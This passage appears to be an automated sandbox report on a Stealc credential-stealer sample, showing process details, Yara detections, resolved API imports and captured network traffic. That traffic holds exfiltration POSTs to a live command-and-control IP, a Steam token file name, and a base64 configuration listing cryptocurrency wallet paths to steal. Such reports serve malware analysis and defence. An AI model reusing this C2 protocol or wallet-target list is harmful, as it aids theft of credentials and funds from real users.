Oct 8, 2024 00:13:36.749667883 CEST	468	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDBAKEGIDBGIEBFHDHJJ Host: 185.215.113.37 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 44 42 41 4b 45 47 49 44 42 47 49 45 42 46 48 44 48 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 39 36 66 34 35 30 31 34 34 33 33 31 66 61 37 61 39 30 61 32 35 61 33 30 34 37 30 35 35 38 62 36 65 30 65 64 30 36 34 37 65 64 61 62 65 63 65 61 33 65 31 35 66 32 31 61 66 30 33 65 64 66 38 31 65 64 36 30 30 31 64 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 41 4b 45 47 49 44 42 47 49 45 42 46 48 44 48 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 41 4b 45 47 49 44 42 47 49 45 42 46 48 44 48 4a 4a 2d 2d 0d 0a Data Ascii: ------GDBAKEGIDBGIEBFHDHJJContent-Disposition: form-data; name="token"d96f450144331fa7a90a25a30470558b6e0ed0647edabecea3e15f21af03edf81ed6001d------GDBAKEGIDBGIEBFHDHJJContent-Disposition: form-data; name="message"wallets------GDBAKEGIDBGIEBFHDHJJ--
Oct 8, 2024 00:13:36.967756987 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 22:13:36 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Oct 8, 2024 00:13:37.052756071 CEST	466	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKFBAKFCBFHIJJJJDBFC Host: 185.215.113.37 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 46 42 41 4b 46 43 42 46 48 49 4a 4a 4a 4a 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 39 36 66 34 35 30 31 34 34 33 33 31 66 61 37 61 39 30 61 32 35 61 33 30 34 37 30 35 35 38 62 36 65 30 65 64 30 36 34 37 65 64 61 62 65 63 65 61 33 65 31 35 66 32 31 61 66 30 33 65 64 66 38 31 65 64 36 30 30 31 64 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 42 41 4b 46 43 42 46 48 49 4a 4a 4a 4a 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 42 41 4b 46 43 42 46 48 49 4a 4a 4a 4a 44 42 46 43 2d 2d 0d 0a Data Ascii: ------BKFBAKFCBFHIJJJJDBFCContent-Disposition: form-data; name="token"d96f450144331fa7a90a25a30470558b6e0ed0647edabecea3e15f21af03edf81ed6001d------BKFBAKFCBFHIJJJJDBFCContent-Disposition: form-data; name="message"files------BKFBAKFCBFHIJJJJDBFC--
Oct 8, 2024 00:13:37.270189047 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 22:13:37 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 8, 2024 00:13:37.287003994 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGHJJDGHCBGDHIECBGID Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 48 4a 4a 44 47 48 43 42 47 44 48 49 45 43 42 47 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 39 36 66 34 35 30 31 34 34 33 33 31 66 61 37 61 39 30 61 32 35 61 33 30 34 37 30 35 35 38 62 36 65 30 65 64 30 36 34 37 65 64 61 62 65 63 65 61 33 65 31 35 66 32 31 61 66 30 33 65 64 66 38 31 65 64 36 30 30 31 64 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 4a 4a 44 47 48 43 42 47 44 48 49 45 43 42 47 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 4a 4a 44 47 48 43 42 47 44 48 49 45 43 42 47 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------BGHJJDGHCBGDHIECBGIDContent-Disposition: form-data; name="token"d96f450144331fa7a90a25a30470558b6e0ed0647edabecea3e15f21af03edf81ed6001d------BGHJJDGHCBGDHIECBGIDContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------BGHJJDGHCBGDHIECBGIDContent-Disposition: form-data; name="file"------BGHJJDGHCBGDHIECBGID--
Oct 8, 2024 00:13:37.995206118 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 22:13:37 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 8, 2024 00:13:38.024102926 CEST	473	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAFCGIJDAFBKFIECBGCA Host: 185.215.113.37 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 46 43 47 49 4a 44 41 46 42 4b 46 49 45 43 42 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 39 36 66 34 35 30 31 34 34 33 33 31 66 61 37 61 39 30 61 32 35 61 33 30 34 37 30 35 35 38 62 36 65 30 65 64 30 36 34 37 65 64 61 62 65 63 65 61 33 65 31 35 66 32 31 61 66 30 33 65 64 66 38 31 65 64 36 30 30 31 64 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 43 47 49 4a 44 41 46 42 4b 46 49 45 43 42 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 43 47 49 4a 44 41 46 42 4b 46 49 45 43 42 47 43 41 2d 2d 0d 0a Data Ascii: ------BAFCGIJDAFBKFIECBGCAContent-Disposition: form-data; name="token"d96f450144331fa7a90a25a30470558b6e0ed0647edabecea3e15f21af03edf81ed6001d------BAFCGIJDAFBKFIECBGCAContent-Disposition: form-data; name="message"ybncbhylepme------BAFCGIJDAFBKFIECBGCA--
Oct 8, 2024 00:13:38.247093916 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 22:13:38 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Keep-Alive: timeout=5, max=80 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 32 30 30 63 0d 0a 2a 2e 70 6c 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 61 72 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 62 72 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 65 63 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 65 67 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 69 6e 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 70 74 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 61 63 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 62 64 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f [TRUNCATED] Data Ascii: 200c.pl<br> 1.google.com.google.com<br>.ar<br> 1.google.com.google.com<br>.br<br> 1.google.com.google.com<br>.ec<br> 1.google.com.google.com<br>.eg<br> 1.google.com.google.com<br>.in<br> 1.google.com.google.com<br>.pt<br> 1.google.com.google.com<br>.ac<br> 1.google.com.google.com<br>.bd<br> 1.google.com.google.com<br>.zm<br> 1.google.com.google.com<br>.ve<br> 1.google.com.google.com<br>.pk<br> 1.google.com.google.com<br>.rs<br> 1.google.com.google.com<br>.ph<br> 1.google.com.google.com<br>.mx<br> 1.google.com.google.com<br>.in<br> 1.google.com.google.com<br>.th<br> 1.google.com.google.com<br>.id<br> 1.google.com.google.com<br>.tr<br> 1.google.com.google.com<br>.cz<br> 1.google.com.google.com<br>.io<br> 1.google.com.google.com<br>.dz<br> 1.google.com.google.com<br>.de<br> 1.google.com.google.com<br>.kr<br> 1.google.com.google.com<br>.ma<br> 1.google.com.google.com<br>.jp<br> 1.google.com
Oct 8, 2024 00:13:38.251075983 CEST	473	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKFCBFHJDHJKECAKEHID Host: 185.215.113.37 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 46 43 42 46 48 4a 44 48 4a 4b 45 43 41 4b 45 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 39 36 66 34 35 30 31 34 34 33 33 31 66 61 37 61 39 30 61 32 35 61 33 30 34 37 30 35 35 38 62 36 65 30 65 64 30 36 34 37 65 64 61 62 65 63 65 61 33 65 31 35 66 32 31 61 66 30 33 65 64 66 38 31 65 64 36 30 30 31 64 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 46 43 42 46 48 4a 44 48 4a 4b 45 43 41 4b 45 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 46 43 42 46 48 4a 44 48 4a 4b 45 43 41 4b 45 48 49 44 2d 2d 0d 0a Data Ascii: ------AKFCBFHJDHJKECAKEHIDContent-Disposition: form-data; name="token"d96f450144331fa7a90a25a30470558b6e0ed0647edabecea3e15f21af03edf81ed6001d------AKFCBFHJDHJKECAKEHIDContent-Disposition: form-data; name="message"wkkjqaiaxkhb------AKFCBFHJDHJKECAKEHID--
Oct 8, 2024 00:13:38.950078011 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 22:13:38 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=79 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Target ID:	0
Start time:	18:13:14
Start date:	07/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xac0000
File size:	1'819'648 bytes
MD5 hash:	1E493CA759006742B07A64F877B01ED2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1791718439.000000000176E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1791718439.00000000017C8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1550119203.0000000005480000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	5.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.3%
Total number of Nodes:	2000
Total number of Limit Nodes:	38

Executed Functions

Function 00AD9860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75550000,01780600), ref: 00AD98A1
GetProcAddress.KERNEL32(75550000,01780840), ref: 00AD98BA
GetProcAddress.KERNEL32(75550000,017806D8), ref: 00AD98D2
GetProcAddress.KERNEL32(75550000,01780678), ref: 00AD98EA
GetProcAddress.KERNEL32(75550000,017807B0), ref: 00AD9903
GetProcAddress.KERNEL32(75550000,017889F0), ref: 00AD991B
GetProcAddress.KERNEL32(75550000,017763A0), ref: 00AD9933
GetProcAddress.KERNEL32(75550000,01776560), ref: 00AD994C
GetProcAddress.KERNEL32(75550000,01780570), ref: 00AD9964
GetProcAddress.KERNEL32(75550000,01780558), ref: 00AD997C
GetProcAddress.KERNEL32(75550000,01780768), ref: 00AD9995
GetProcAddress.KERNEL32(75550000,01780588), ref: 00AD99AD
GetProcAddress.KERNEL32(75550000,01776540), ref: 00AD99C5
GetProcAddress.KERNEL32(75550000,01780618), ref: 00AD99DE
GetProcAddress.KERNEL32(75550000,01780720), ref: 00AD99F6
GetProcAddress.KERNEL32(75550000,01776360), ref: 00AD9A0E
GetProcAddress.KERNEL32(75550000,017806F0), ref: 00AD9A27
GetProcAddress.KERNEL32(75550000,017805A0), ref: 00AD9A3F
GetProcAddress.KERNEL32(75550000,01776660), ref: 00AD9A57
GetProcAddress.KERNEL32(75550000,01780780), ref: 00AD9A70
GetProcAddress.KERNEL32(75550000,017763C0), ref: 00AD9A88
LoadLibraryA.KERNEL32(01780630,?,00AD6A00), ref: 00AD9A9A
LoadLibraryA.KERNEL32(017805B8,?,00AD6A00), ref: 00AD9AAB
LoadLibraryA.KERNEL32(017805E8,?,00AD6A00), ref: 00AD9ABD
LoadLibraryA.KERNEL32(01780690,?,00AD6A00), ref: 00AD9ACF
LoadLibraryA.KERNEL32(01780798,?,00AD6A00), ref: 00AD9AE0
GetProcAddress.KERNEL32(75670000,01780660), ref: 00AD9B02
GetProcAddress.KERNEL32(75750000,01780738), ref: 00AD9B23
GetProcAddress.KERNEL32(75750000,01788CB8), ref: 00AD9B3B
GetProcAddress.KERNEL32(76BE0000,01788E38), ref: 00AD9B5D
GetProcAddress.KERNEL32(759D0000,01776640), ref: 00AD9B7E
GetProcAddress.KERNEL32(773F0000,01788B30), ref: 00AD9B9F
GetProcAddress.KERNEL32(773F0000,NtQueryInformationProcess), ref: 00AD9BB6

Strings

NtQueryInformationProcess, xrefs: 00AD9BAA

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: 7c75185ba7663016e2f50a47a645992a6596f33c13b333e13a8017ee7e9c72b5
Instruction ID: f1e6bdc59ca9462e4c9153d83627c8af5be5c9bf3cc6f250c35d819323754c29
Opcode Fuzzy Hash: 7c75185ba7663016e2f50a47a645992a6596f33c13b333e13a8017ee7e9c72b5
Instruction Fuzzy Hash: 2DA1E8B6510340AFD344EFADED88B663BF9F78C701754851AA60DC3364D639A842DB72

Function 00AC45C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 00AC460F
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 00AC479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00AC471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00AC474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00AC4622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00AC4657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00AC4734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00AC45C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00AC45F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00AC477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00AC4638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00AC46AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00AC466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00AC475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00AC4617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00AC45E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00AC462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00AC4770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00AC46B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00AC473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00AC4713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00AC4662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00AC4678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00AC4729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00AC4643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00AC46CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00AC45D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00AC45DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00AC4765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00AC4683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00AC46D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00AC46C2

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
